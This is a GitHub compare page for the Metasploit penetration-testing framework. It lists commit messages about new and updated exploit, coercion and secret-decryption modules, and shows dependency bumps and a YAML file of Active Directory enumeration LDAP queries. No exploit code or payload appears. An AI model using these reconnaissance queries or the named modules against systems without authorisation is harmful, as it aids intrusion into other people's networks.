Compare commits

...

199 Commits

Author SHA1 Message Date
adfoster-r7 d1f6433a77 Land #16797, Workflows Labels fix typo 2022-07-21 13:46:23 +01:00
bcoles a7676dc375 Workflows: Labels: Fix typo 2022-07-21 12:08:57 +10:00
Metasploit e7ecd1618a automatic module_metadata_base.json update 2022-07-20 18:12:39 -05:00
Grant Willcox ecf8434f32 Land #16778, Deprecate checkvm script and update checkvm post module 2022-07-20 17:51:01 -05:00
Grant Willcox 09ffd7f115 Add in missing features from checkvm script to post/windows/gather/checkvm.rb 2022-07-20 17:21:58 -05:00
Grant Willcox a4dee1a171 Land #16743, Fix mssql crash when using tds encryption 2022-07-20 16:06:35 -05:00
Christophe De La Fuente f9a951d034 Land #16737, Remove initial code duplication between mssql clients 2022-07-20 19:44:25 +02:00
Jeffrey Martin 5dfec3f746 Land #16792, Widen rescue scope for reverse ssh handler 2022-07-20 09:28:26 -05:00
Jeffrey Martin 94db8b957b Land #16789, Add openssl version to debug command 2022-07-20 09:27:23 -05:00
adfoster-r7 e46a71f595 Land #16776, Add Rex::Exploitation::CmdStagerFtpHttp to Msf::Exploit::CmdStager 2022-07-20 02:50:29 +01:00
adfoster-r7 526ce819c0 Widen rescue scope for reverse ssh handler 2022-07-19 18:29:58 +01:00
Metasploit e1bb088ddb automatic module_metadata_base.json update 2022-07-19 09:31:40 -05:00
adfoster-r7 f02012a8ee Add openssl version to debug command 2022-07-19 15:26:05 +01:00
Spencer McIntyre ebb15ee9e7 Land #16598, Add in LDAP Query Module 2022-07-19 09:51:00 -04:00
bwatters e3e6afbaa3 Land #16753, ms03_007_ntdll_webdav: Cleanup and add additional offsets
Merge branch 'land-16753' into upstream-master
2022-07-19 08:48:06 -05:00
Spencer McIntyre 2eaccd657f Use an OptPath for QUERY_FILE_PATH
This adds tab completion and an extra check to make sure it exists.
2022-07-19 09:48:03 -04:00
Grant Willcox dcd4caf977 Remove excess error handling that was causing issues 2022-07-19 08:10:53 -05:00
Metasploit f043b121b3 automatic module_metadata_base.json update 2022-07-16 17:26:03 -05:00
Jack Heysel 2af8042bfa Land #16761, clean up ms01_023_printer
Adds additional offsets for various Windows 2000 targets.
Replaces raw socket TCP with HttpClient. This works fine in testing.
Fixes default payload, adds docs and notes.
2022-07-16 17:56:59 -04:00
Jack Heysel 5fd4c6c306 Land #16754, fix merge conflicts 2022-07-16 17:43:27 -04:00
jheysel-r7 adecb0d94b Merge branch 'master' into ms02_065_msadc 2022-07-16 17:26:23 -04:00
Metasploit e7e3ea1a31 automatic module_metadata_base.json update 2022-07-16 16:06:17 -05:00
Jack Heysel 77be219bc2 Land #16754, add offsets to ms02_065
Adds additional offsets for various Windows 2000
Professional targets, adds  docs, fixes default
payload and resolves rubocop violations.
2022-07-16 16:43:47 -04:00
bcoles 00444a6e62 Deprecate checkvm script 2022-07-16 18:40:32 +10:00
bcoles 1dcfc3406a Add Rex::Exploitation::CmdStagerFtpHttp to Msf::Exploit::CmdStager 2022-07-16 18:10:28 +10:00
Spencer McIntyre 25f50e607c Reduce code, be more permissive
This makes a few changes that should enable the module to function
better should it be dropped into a fresh MSF installation on its own.
2022-07-15 16:29:17 -05:00
Grant Willcox 2a8d95c121 Default to having a near empty custom file so that we can still update the default queries without issues vs preventing updates from occuring. If users want to override the defaults, then they accept the risk of not getting updates. Update documentation to also note this. 2022-07-15 16:29:12 -05:00
Grant Willcox 1e05630d26 Make sure that we load ACTIONs from the user's custom file at startup if they have changed anything or added any new ACTIONs 2022-07-15 16:29:12 -05:00
Grant Willcox 2d1acc0369 Refactor code and also add in proper fail_with error codes where needed. Also fix up module and documentation descriptions to be a bit clearer. 2022-07-15 16:29:01 -05:00
Grant Willcox 03ebbaf2d0 Add in RUN_SINGLE_QUERY and associated options, and then update the code and documentation accordingly. This will allow users to run single queries with associated attribute filters if they want to test out single queries at a time without changing YAML files 2022-07-15 16:29:00 -05:00
Grant Willcox 67cf39f4b9 Update documentation to include RUN_QUERY_FILE example. 2022-07-15 16:28:55 -05:00
Grant Willcox 32e5884589 Update error description to be more helpful when debugging. Also update DefaultAction to default to first entry in the list or RUN_QUERY_FILE if no other action is available 2022-07-15 16:28:50 -05:00
Grant Willcox c5f2507ee0 Fix up usage of the word columns where attributes was more appropriate. Also update the multi query logic to match new data format as it was broken before as a result of changes to file format. Finally remove extra parameters that are no longer needed. 2022-07-15 16:28:43 -05:00
Grant Willcox 8c236e789e Rename files to follow proper format. Add in documentation for examples. Then update code so we use Msf::Config.get_config_root to store the config file that we parse to get the actions outside of a Git tracked location. We will still use the default file to populate this non-git tracked location if its not already populated though. 2022-07-15 16:28:43 -05:00
Grant Willcox 3c56e272a1 Remove default actions and move them to default.yaml, then update code accordingly. Also update the initialization code so it will now load the possible actions dynamically from default.yaml. 2022-07-15 16:28:37 -05:00
Grant Willcox 438b4b1bf8 Rework the logic for output and make it a lot neater. Also redo the query logic thanks to help from Alan David Foster so the query itself will specify what fields we need vs us having to manually filter this out later on. Makes it a lot quicker and easier to work with 2022-07-15 16:28:31 -05:00
Grant Willcox 2a1a8aa632 Add in CSV reporting formatting thanks to some help from Alan David Foster 2022-07-15 16:28:30 -05:00
Grant Willcox d4809219b9 Add in JSON output option 2022-07-15 16:28:23 -05:00
Grant Willcox 515bfd296e Add in YAML query file implementation 2022-07-15 16:28:23 -05:00
Grant Willcox 65b9e1cb13 Push initial copy of work up 2022-07-15 16:27:56 -05:00
adfoster-r7 1b5e172f29 Land #16772, Add FtpHttp command stager - bump rex-exploitation gem from 0.1.31 to 0.1.33 2022-07-15 09:55:21 +01:00
space-r7 f8101aa8e4 bump rex-exploitation gem from 0.1.31 to 0.1.33 2022-07-14 17:23:49 -05:00
Metasploit fde4d4ae22 Bump version of framework to 6.2.8 2022-07-14 12:09:54 -05:00
Jeffrey Martin c675c104d3 LAnd #16771, Fix msfconsole crashing with openssl3 2022-07-14 11:06:48 -05:00
bcoles 59685f82f8 ms02_065_msadc: Cleanup and add additional offsets 2022-07-15 00:15:56 +10:00
adfoster-r7 1103f525a6 Stop msfconsole crashing with openssl3 2022-07-14 12:05:01 +01:00
Metasploit 346cbc287f automatic module_metadata_base.json update 2022-07-13 13:23:11 -05:00
Jack Heysel 662c8bbd87 Land #16742, add NetScaler decrypt aux module
This aux module allows users to decrypt secrets
in Citrix NetScaler appliance configuration files
2022-07-13 14:00:43 -04:00
Metasploit d8cc88a8cd automatic module_metadata_base.json update 2022-07-13 11:42:20 -05:00
Jack Heysel 8f3a0e3856 Land #16742, add NetScaler decrypt aux module
This aux module allows users to decrypt secrets
in Citrix NetScaler appliance configuration files
2022-07-13 12:11:02 -04:00
Metasploit b596a2f59c automatic module_metadata_base.json update 2022-07-13 09:37:15 -05:00
Jack Heysel 819d1fa2dd Land #16762, Sourcegraph RCE module
This module exploits a vuln in the gitserver
component of sourcegraph that results in OS
command execution in the context of gitserver.
2022-07-13 10:09:06 -04:00
npm-cesium137-io 9a6013b153 citrix_netscaler_config_decrypt refinements
Refactor error handling when composing KEK fragments to be more
streamlined.

Various tweaks and optimizations.

Updates to documentatation.
2022-07-13 08:36:18 -04:00
npm-cesium137-io 3f52cc80a2 Update documentation/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.md
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-07-13 07:57:06 -04:00
npm-cesium137-io 443920850c Update modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2022-07-13 07:56:41 -04:00
npm-cesium137-io d227f0aaa2 Update modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2022-07-13 07:56:12 -04:00
Metasploit f18392adb1 automatic module_metadata_base.json update 2022-07-12 15:52:00 -05:00
space-r7 ccef129807 Land #16727, set tftphost option 2022-07-12 15:29:42 -05:00
Metasploit 88c2d8148c automatic module_metadata_base.json update 2022-07-12 11:49:08 -05:00
Jack Heysel fdd7a863c8 Land #16736, fix confluence_widget_connector crash
This change fixes a bug in the confluence_widget_connector 
exploit module to prevent it from crashing when the HTTP
response body received in the get_java_property method is
empty or does not match expected regex.
2022-07-12 12:27:40 -04:00
Metasploit a75a99de89 automatic module_metadata_base.json update 2022-07-12 10:13:27 -05:00
Jack Heysel 52fd45b7ab Land #16744 Jboss EAP/AS RCE module
This module exploits a Java deserialization vulnerability
in JBOSS EAP/AS Remoting Unified Invoker interface for
versions 6.1.0 and prior.
2022-07-12 10:49:22 -04:00
Jack Heysel 7df6d73741 Added new line to end of file 2022-07-12 09:08:19 -04:00
Jack Heysel 44abcfcb28 Added flavour to fix linux_dropper 2022-07-12 09:06:06 -04:00
adfoster-r7 d297adcebb Land #16766, update docs for Pro links 2022-07-11 16:35:16 +01:00
Jeffrey Martin 5337571bff update docs for Pro links
Updates to provide links to previous semantic version of Metasploit Pro.
2022-07-11 10:09:24 -05:00
Spencer McIntyre 439606b2ac Use a more reliable check method
The check method will not work regardless of whether or not there is a
cloned repository. The response can be analyzed using a random,
non-existant repo.
2022-07-11 09:48:08 -04:00
adfoster-r7 171f81803a Land #16747, add lotus domino hash extraction spec 2022-07-11 14:20:22 +01:00
adfoster-r7 44e4714b9b Land #16764, Rex::Proto::Http: Add evasion options to shuffle GET / POST parameters 2022-07-11 14:17:07 +01:00
Spencer McIntyre 48cefee585 Cleanup the module based on feedback 2022-07-11 09:09:25 -04:00
Metasploit 1416b5776d automatic module_metadata_base.json update 2022-07-10 23:01:03 -05:00
bcoles 57e66296ef Land #16762, ms04-007-killbill: Use protocol version 1 for connections 2022-07-11 13:39:10 +10:00
bcoles 39f288bfe3 Rex::Proto::Http: Add evasion options to shuffle GET / POST parameters 2022-07-11 01:37:41 +10:00
adfoster-r7 3e66fc8f4e Fix crash in ms04-007-killbill 2022-07-10 00:07:26 +01:00
Spencer McIntyre 63734832b2 Add sourcegraph RCE module docs 2022-07-08 17:27:27 -04:00
Spencer McIntyre 9d979fdf4f Finish up the sourcegraph RCE module 2022-07-08 17:27:22 -04:00
Spencer McIntyre 27ad62c964 Add a decent check method 2022-07-08 16:40:42 -04:00
bcoles 83bc954e9d ms01_023_printer: cleanup; use HttpClient; add additional targets 2022-07-09 01:36:10 +10:00
Metasploit 172ee9a73b automatic module_metadata_base.json update 2022-07-08 09:24:28 -05:00
Spencer McIntyre 781597bc0e Land #16617, fix race condition in short ranges 2022-07-08 09:56:51 -04:00
Metasploit 489d5e023d automatic module_metadata_base.json update 2022-07-08 08:42:50 -05:00
Spencer McIntyre 728cf97f6e Land #16718, Fix run_as module on x64 systems 2022-07-08 09:22:22 -04:00
Heyder Andrade d6b6f47b09 change doc file 2022-07-08 02:36:18 +02:00
Heyder Andrade 2f7cf90b7f mixin didn't work with linux_dropper payload
- Fixed exception handling variable attribution
- Tried to change JavaDeserialization Util to JavaDeserialization mixin
instead
- Changed the fail reason when the connection is unsuccessful
2022-07-08 02:30:26 +02:00
Metasploit 234a83401b automatic module_metadata_base.json update 2022-07-07 18:28:57 -05:00
space-r7 f958b0a053 Land #16738, correct CVE/lint for weblogic module 2022-07-07 18:08:13 -05:00
space-r7 52ac281991 change wording in fail_with() 2022-07-07 18:05:56 -05:00
Metasploit 43983b6cb6 automatic module_metadata_base.json update 2022-07-07 15:45:02 -05:00
Jack Heysel 4da72a9b01 Land #16735, Fix defaults for aerohive module
This change sets the MeterpreterTryToFork advanced
payload option to true by default for the Linux target
in the aerohive_netconfig_lfi_log_poison_rce module.
2022-07-07 16:21:56 -04:00
Spencer McIntyre 2296db8ee3 Merge pull request #16755 from zeroSteiner/fix/wiki/typo
It's CommonsBeanutils1 not CommonBeanutils1
2022-07-07 14:01:20 -04:00
Spencer McIntyre bec15d18bc It's CommonsBeanutils1 not CommonBeanutils1 2022-07-07 13:44:11 -04:00
Metasploit 87f32cbf54 automatic module_metadata_base.json update 2022-07-07 12:32:47 -05:00
Jack Heysel 6db340508f Land #16703, add Censys API v2 functionality
This PR updates the censys_search.rb module to also
make use of the v2 API functionality
2022-07-07 13:09:31 -04:00
Metasploit 887db0b76e Bump version of framework to 6.2.7 2022-07-07 12:04:37 -05:00
Erik Wynter 3ad42dd153 change option names to H3 for weblogic_deserialize_asyncresponseservice docs
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-07-07 19:04:26 +03:00
bcoles 3f63f9fcd1 ms02_065_msadc: Cleanup and add additional offsets 2022-07-08 00:26:02 +10:00
Jeffrey Martin cdd12b3b11 expand proof verification string 2022-07-07 09:05:16 -05:00
Jeffrey Martin f319d6e509 more explicitly cross platform file location 2022-07-07 08:41:55 -05:00
Jeffrey Martin e7134d5244 code review adjusments for double and context 2022-07-07 08:26:46 -05:00
kalba-security 7d32338702 remove ARTIFACTS_ON_DISK from weblogic_deserialize_asyncresponseservice notes 2022-07-07 05:26:59 -07:00
bcoles 7d111938d5 ms03_007_ntdll_webdav: Cleanup and add additional offsets 2022-07-07 20:31:57 +10:00
Metasploit eb6535009f automatic module_metadata_base.json update 2022-07-06 18:38:41 -05:00
space-r7 debf619968 Land #16733, add dfscoerce scanner module 2022-07-06 18:18:00 -05:00
Spencer McIntyre c092291236 Bump ruby_smb to 3.1.6 2022-07-06 15:34:25 -04:00
e2002e bc5a8f6fc9 Merge pull request #1 from cdelafuente-r7/censys_improvements
Rework `censys_search` module to use Censys Search API v2
2022-07-06 11:56:01 +02:00
Spencer McIntyre a8c2b3bdff Initial exploit for CVE-2022-23642 2022-07-05 16:58:22 -04:00
Jeffrey Martin a41f655060 add lotus domino hash extraction spec
Adds a spec targeting a single method in the `lotus_domino_hashes` module. This is a start on
offering example on how a spec can be written to test part of the code in a module using example
responses from a unit testing perspective.
2022-07-05 11:38:25 -05:00
Metasploit 20fb1e5690 automatic module_metadata_base.json update 2022-07-05 09:00:07 -05:00
Spencer McIntyre f7209bfc75 Land #16724, Modernize ms01_026_dbldecode
Use HttpClient; remove meterpreter code; fix stager
2022-07-05 09:36:58 -04:00
adfoster-r7 5b8680ee91 Land #16567 from h00die/juniper_enhancements
Juniper config processor enhancements
2022-07-05 12:06:34 +01:00
Jack Heysel 3a4276ad33 Land #16716 Expose URIPATH option for HTTP stagers
This fix exposes the CMDSTAGER::URIPATH option
for HTTP stagers
2022-07-04 21:11:01 -04:00
Heyder Andrade bbf56c7f4c Delete jboss_remoting_unified_invoker.md 2022-07-05 00:33:30 +02:00
Heyder Andrade 1ccc91d23c Rename doc file 2022-07-05 00:25:56 +02:00
Heyder Andrade 50ca5f0ce2 Add description 2022-07-05 00:25:07 +02:00
Heyder Andrade b8834e1534 Added documentation 2022-07-05 00:19:17 +02:00
Christophe De La Fuente 066d01b7b2 Rework censys_search module to use Censys Search API v2 2022-07-04 17:19:16 +02:00
adfoster-r7 b42654875e Fix mssql crash when using tds encryption 2022-07-04 11:41:57 +01:00
npm-cesium137-io 789397a445 citrix_netscaler_config_decrypt tweaks
Minor code tweaks and updates to documentation
2022-07-03 08:21:58 -04:00
bcoles ec2445751f Bump rex-exploitation gem from 0.1.30 to 0.1.31 2022-07-03 19:18:21 +10:00
bcoles 04aa05faa2 ms01_026_dbldecode: Use HttpClient; remove meterpreter code; fix stager 2022-07-03 18:22:55 +10:00
yvain 8bd0be9837 msftidy pass. 2022-07-02 19:43:41 +02:00
yvain f2419785ba implemented certificates search as an option. 2022-07-02 19:02:25 +02:00
Heyder Andrade 0ea033be55 Add module for jboss remoting unified invoker RCE 2022-07-01 21:39:42 +02:00
Spencer McIntyre 2f1949d021 Land #16731, Use proper permissions when opening a process 2022-07-01 13:40:48 -04:00
Metasploit b5d5ba9783 automatic module_metadata_base.json update 2022-07-01 11:15:25 -05:00
Christophe De La Fuente b40dd95d4f Land #16723, Add FreeSwitch Login auxiliary module 2022-07-01 16:57:34 +02:00
Christophe De La Fuente 9de7411723 Land #16704, Fix bad loop terminator checks and data checks in memcached_extractor.rb 2022-07-01 16:36:56 +02:00
kalba-security 12522d1407 fix cve in weblogic_deserialize_asyncresponseservice docs and run msftidy_docs 2022-07-01 10:34:27 -04:00
kalba-security 48598b8c5b correct CVE and add linting for weblogic_deserialize_asyncresponseservice 2022-07-01 10:27:51 -04:00
adfoster-r7 5bc618e642 Remove initial code duplication between mssql clients 2022-07-01 14:26:04 +01:00
kalba-security 17f82a900e linting for confluence_widget_connecter and add catch for all scenarios where clear_response returns nil 2022-07-01 08:43:47 -04:00
kalba-security f6b6ad4bf1 prevent confluence_widget_connector from crashing when the response body in get_java_property is empty 2022-07-01 07:37:54 -04:00
kalba-security b56242c7a2 enable MeterpreterTryToFork by default for aerohive_netconfig_lfi_log_poison_rce 2022-07-01 06:15:13 -04:00
krastanoel e944196c5c Update documentation 2022-07-01 12:29:17 +07:00
krastanoel 2e63a5b48c setting stop_on_success attribute to true
this attribute is needed by LoginScanner module but will have no effect
2022-07-01 12:22:31 +07:00
krastanoel cdc6fe471f Use safe navigation operator instead of rescue 2022-07-01 12:06:38 +07:00
yvain 1856baf4b9 censys host search will output certificates to be used with certificates search. 2022-07-01 06:35:09 +02:00
Spencer McIntyre 60da336ad4 Fix a silly typo 2022-06-30 17:38:30 -04:00
Spencer McIntyre c67432b20d Add the documentation for dfscoerce 2022-06-30 17:25:32 -04:00
Spencer McIntyre 7e35f42eeb Finish up error handling for dfscoerce 2022-06-30 17:15:21 -04:00
Spencer McIntyre 7a982a2c83 Report ACCESS_DENIED as success
If the listener that handles the incoming connection request replies
with STATUS_ACCESS_DENIED, the API will return ERROR_ACCESS_DENIED to
the caller. This is the behavior of Metasploit's capture module as well
as Responder.
2022-06-30 15:16:11 -04:00
Spencer McIntyre 81ab873d6c Add petitpotam error handling 2022-06-30 15:12:23 -04:00
Spencer McIntyre 43629a3960 Add the initial dfscoerce module 2022-06-30 15:00:52 -04:00
space-r7 ecb09864d3 make sure generic permission is actually set 2022-06-30 13:27:51 -05:00
Metasploit a172fa0da0 Bump version of framework to 6.2.6 2022-06-30 12:05:30 -05:00
Metasploit b8e6b02d04 automatic module_metadata_base.json update 2022-06-30 05:36:37 -05:00
Christophe De La Fuente 0d19e47b8d Land #16677, Add module for adding/deleting computers via MS-SAMR 2022-06-30 12:12:26 +02:00
Christophe De La Fuente 8e32beeeef Update specs 2022-06-30 11:11:11 +02:00
krastanoel 4f64d098dc Apply suggestions from code review
Use include instead of regex and rescue stream closed error

Co-authored-by: cdelafuente-r7 <56716719+cdelafuente-r7@users.noreply.github.com>
2022-06-30 14:04:39 +07:00
krastanoel a2949c7555 Fix documentation warning 2022-06-30 11:51:03 +07:00
krastanoel 738aa7ac0a Deregister STOP_ON_SUCCESS 2022-06-30 11:42:50 +07:00
krastanoel f81e4d5dde use autocheck module and rescue in case the user use ForceExploit against unknown service 2022-06-30 11:38:20 +07:00
adfoster-r7 1964e61dc8 Land #16729, Fix rex table from crashing on unknown characters 2022-06-29 21:44:31 +01:00
Grant Willcox 685e35788b Bump rex-text version 2022-06-29 15:11:42 -05:00
NikitaKovaljov 9b909131ff added datastore[TIMEOUT] options to line 77 2022-06-29 21:02:26 +03:00
Spencer McIntyre c4be01c26a Bump ruby_smb to 3.1.5 2022-06-29 13:31:14 -04:00
Metasploit daaebc0bd8 automatic module_metadata_base.json update 2022-06-29 12:23:05 -05:00
Christophe De La Fuente 0e3fdd0799 Fix from code review 2022-06-29 19:18:47 +02:00
Spencer McIntyre 2d6e910078 Land #16721, Phpmailer arg injection update 2022-06-29 13:00:48 -04:00
Spencer McIntyre 1b7d8f1e74 Fix a whitespace issue, restore option naming 2022-06-29 12:24:29 -04:00
bcoles bbbec267b6 exploits: Set tftphost option for modules which use Windows TFTP stager 2022-06-29 19:10:52 +10:00
Erik Schweiss 695e1243b8 Update modules/exploits/multi/http/phpmailer_arg_injection.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-06-28 23:08:20 -10:00
yvain d14e610230 forgot to push this 2022-06-28 19:38:47 +02:00
Spencer McIntyre 41ba2d263b Address PR feedback
Simplify the application_key usage, update docs and catch another
exception.
2022-06-28 11:53:05 -04:00
krastanoel da63fbbad4 Add FreeSwitch Login auxiliary module 2022-06-28 20:13:24 +07:00
Metasploit ed2c64bffd automatic module_metadata_base.json update 2022-06-28 04:35:47 -05:00
adfoster-r7 6b17905790 Land #16722, Fix notes for SideEffects and Reliability 2022-06-28 10:15:04 +01:00
bcoles 9087f86cce exploit/multi/misc/nomad_exec: Fix notes for SideEffects and Reliability 2022-06-28 17:02:51 +10:00
Erik Schweiss a89e88c462 Merge branch 'rapid7:master' into phpmailer_arg_injection_update 2022-06-27 11:05:41 -10:00
Metasploit 2cdc8540d4 automatic module_metadata_base.json update 2022-06-27 06:43:36 -05:00
adfoster-r7 22a1e06f02 Land #16702, Fix reference URL link in hikvision_rtsp_bof.rb 2022-06-27 12:23:04 +01:00
Christophe De La Fuente a9d3e7c758 Fix run_as module on x64 systems 2022-06-27 13:21:58 +02:00
bcoles 66009ca5e5 Exploit::CmdStager: Expose CMDSTAGER::URIPATH option for HTTP stagers 2022-06-25 23:49:47 +10:00
Erik 836970e1ae Update phpmailer_arg_injection.rb
fixed typo
2022-06-23 13:45:42 -10:00
Erik 8259e8e495 Update phpmailer_arg_injection.rb
Fixed regex to match legal name tags
2022-06-23 13:43:21 -10:00
Erik ae8f1c3378 Update on phpmailer_arg_injection.rb #15810
Added Regex to validate new options
2022-06-23 13:10:19 -10:00
Erik e9b2fc6ecf Merge branch 'rapid7:master' into master 2022-06-23 12:52:09 -10:00
Erik 84aa9ceeb9 Update phpmailer_arg_injection.md
Added options to the module docs for the new options
2022-06-23 12:50:33 -10:00
Erik 96feb8d1be Update phpmailer_arg_injection.rb
Changed new advanced option to camel case
2022-06-23 12:47:26 -10:00
Metasploit 911092007c Bump version of framework to 6.2.5 2022-06-23 14:56:43 -05:00
yvain fae64d5e9b passes bot tests for merge 2022-06-23 17:27:47 +02:00
yvain e5f0378146 Web request to cencys updated.
a few modifications in how we handle the data.
2022-06-23 17:20:09 +02:00
Grant Willcox 5b6d9538cd Move a send outside of the loop so we can keep reading data vs sending and recieving only the first 4096 bytes of data and then executing the query again 2022-06-22 19:44:53 -05:00
Grant Willcox 477db20c04 Fix bad loop terminator checks and data checks 2022-06-22 17:47:22 -05:00
yvain 938090dacb cencys 2022-06-22 23:01:11 +02:00
Grant Willcox e4ce1c53dd Fix reference URL link 2022-06-22 15:49:43 -05:00
yvain 6ae35e23fe cencys related modules update 2022-06-20 10:24:58 +02:00
npm-cesium137-io 37234985e6 citrix_netscaler_config_decrypt Aux Module
Added an aux module that can perform offline decryption of NetScaler
config files. The module is able to decrypt secrets using well-known
static keys as well as the new Key Encryption Key (KEK) scheme.

This is the initial commit, and some functionality is lacking: there is
currently no loot storage of secrets, and the module cannot decrypt
-passcrypt entries from legacy configuration files.
2022-06-15 11:03:28 -04:00
Spencer McIntyre 825604dda9 Add docs and a configurable password 2022-06-15 08:51:47 -04:00
Spencer McIntyre 78f2ea39e9 Use some pretty libral error handling 2022-06-15 08:51:28 -04:00
Spencer McIntyre 41567b1eb4 Add the DELETE_COMPUTER action 2022-06-13 17:46:34 -04:00
Spencer McIntyre 084fc194ea Add the LOOKUP_COMPUTER action 2022-06-13 17:20:34 -04:00
Spencer McIntyre 74936f69a3 Add the ADD_COMPUTER action 2022-06-13 17:03:51 -04:00
Spencer McIntyre 45674fbcc2 Add the initial samr module 2022-06-02 14:12:47 -04:00
h00die 264085b63c juniper lib updates 2022-05-29 15:55:18 -04:00
NikitaKovaljov b66fb886dc Update modules/auxiliary/scanner/discovery/ipv6_neighbor.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-05-25 20:21:50 +03:00
Alexandre Bezroutchko 71acc02c96 fix race condition when scanning short ranges 2022-05-16 20:08:41 +00:00
h00die d05e855fab juniper lib updates 2022-05-12 15:16:07 -04:00
h00die f87f2c0a20 formatting of juniper lib 2022-05-12 15:15:11 -04:00
78 changed files with 7086 additions and 2637 deletions
+1 -1
View File
@@ -172,7 +172,7 @@ jobs:
This includes:
- All of the item points within this [tempate](https://github.com/rapid7/metasploit-framework/blob/master/.github/ISSUE_TEMPLATE/bug_report.md)
- All of the item points within this [template](https://github.com/rapid7/metasploit-framework/blob/master/.github/ISSUE_TEMPLATE/bug_report.md)
- The result of the \`debug\` command in your Metasploit console
- Screenshots showing the issues you're having
- Exact replication steps
+4 -4
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.2.4)
metasploit-framework (6.2.8)
actionpack (~> 6.0)
activerecord (~> 6.0)
activesupport (~> 6.0)
@@ -351,7 +351,7 @@ GEM
metasm
rex-arch
rex-text
rex-exploitation (0.1.30)
rex-exploitation (0.1.33)
jsobfu
metasm
rex-arch
@@ -383,7 +383,7 @@ GEM
rex-socket
rex-text
rex-struct2 (0.1.3)
rex-text (0.2.37)
rex-text (0.2.38)
rex-zip (0.1.4)
rex-text
rexml (3.2.5)
@@ -427,7 +427,7 @@ GEM
ruby-progressbar (1.11.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.1.3)
ruby_smb (3.1.6)
bindata
openssl-ccm
openssl-cmac
+5 -5
View File
@@ -70,9 +70,9 @@ memory_profiler, 1.0.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 4.0.4, "New BSD"
metasploit-credential, 5.0.7, "New BSD"
metasploit-framework, 6.2.4, "New BSD"
metasploit-framework, 6.2.8, "New BSD"
metasploit-model, 4.0.4, "New BSD"
metasploit-payloads, 2.0.93, "3-clause (or ""modified"") BSD"
metasploit-payloads, 2.0.94, "3-clause (or ""modified"") BSD"
metasploit_data_models, 5.0.5, "New BSD"
metasploit_payloads-mettle, 1.0.18, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
@@ -125,7 +125,7 @@ rex-arch, 0.1.14, "New BSD"
rex-bin_tools, 0.1.8, "New BSD"
rex-core, 0.1.28, "New BSD"
rex-encoder, 0.1.6, "New BSD"
rex-exploitation, 0.1.30, "New BSD"
rex-exploitation, 0.1.31, "New BSD"
rex-java, 0.1.6, "New BSD"
rex-mime, 0.1.7, "New BSD"
rex-nop, 0.1.2, "New BSD"
@@ -137,7 +137,7 @@ rex-rop_builder, 0.1.4, "New BSD"
rex-socket, 0.1.39, "New BSD"
rex-sslscan, 0.1.7, "New BSD"
rex-struct2, 0.1.3, "New BSD"
rex-text, 0.2.37, "New BSD"
rex-text, 0.2.38, "New BSD"
rex-zip, 0.1.4, "New BSD"
rexml, 3.2.5, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
@@ -155,7 +155,7 @@ ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.11.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
ruby_smb, 3.1.3, "New BSD"
ruby_smb, 3.1.6, "New BSD"
rubyntlm, 0.6.3, MIT
rubyzip, 2.3.2, "Simplified BSD"
sawyer, 0.9.2, MIT
@@ -0,0 +1,98 @@
---
queries:
- action: ENUM_ALL_OBJECT_CLASS
description: 'Dump all objects containing any objectClass field.'
filter: '(objectClass=*)'
attributes:
- dn
- objectClass
- action: ENUM_ALL_OBJECT_CATEGORY
description: 'Dump all objects containing any objectCategory field.'
filter: '(objectCategory=*)'
attributes:
- dn
- objectCategory
- action: ENUM_ACCOUNTS
description: 'Dump info about all known user accounts in the domain.'
filter: '(|(objectClass=organizationalPerson)(sAMAccountType=805306368))'
attributes:
- dn
- name
- displayName
- samAccountName
- userPrincipalName
- userAccountControl
- homeDirectory
- homeDrive
- profilePath
- action: ENUM_COMPUTERS
description: 'Dump all objects containing an objectCategory of Computer.'
filter: '(objectCategory=Computer)'
attributes:
- dn
- displayName
- distinguishedName
- dNSHostName
- description
- givenName
- name
- operatingSystemVersion
- operatingSystemServicePack
- action: ENUM_DOMAIN_CONTROLLERS
description: 'Dump all known domain controllers.'
filter: '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))'
attributes:
- dn
- displayName
- distinguishedName
- dNSHostName
- description
- givenName
- name
- operatingSystemVersion
- operatingSystemServicePack
- action: ENUM_EXCHANGE_SERVERS
description: 'Dump info about all known Exchange servers.'
filter: '(&(objectClass=msExchExchangeServer)(!(objectClass=msExchExchangeServerPolicy)))'
attributes:
- dn
- displayName
- distinguishedName
- dNSHostName
- description
- givenName
- name
- operatingSystemVersion
- operatingSystemServicePack
- action: ENUM_EXCHANGE_RECIPIENTS
description: 'Dump info about all known Exchange recipients.'
filter: '(|(mailNickname=*)(proxyAddresses=FAX:*))'
attributes:
- dn
- mailNickname
- proxyAddresses
- name
- action: ENUM_GROUPS
description: 'Dump info about all known groups in the LDAP environment.'
filter: '(|(objectClass=group)(objectClass=groupOfNames)(groupType:1.2.840.113556.1.4.803:=2147483648)(objectClass=posixGroup))'
attributes:
- dn
- name
- groupType
- memberof
- action: ENUM_ORGUNITS
description: 'Dump info about all known organizational roles in the LDAP environment.'
filter: '(objectClass=organizationalUnit)'
attributes:
- dn
- displayName
- name
- description
- action: ENUM_ORGROLES
description: 'Dump info about all known organization units in the LDAP environment.'
filter: '(objectClass=organizationalRole)'
attributes:
- dn
- displayName
- name
- description
@@ -0,0 +1,8 @@
---
queries:
# - action: SAMPLE_ACTION
# description: 'A description.'
# filter: '(objectClass=*)'
# attributes:
# - dn
# - objectClass
+515 -51
View File
@@ -447,6 +447,54 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_admin/citrix/citrix_netscaler_config_decrypt": {
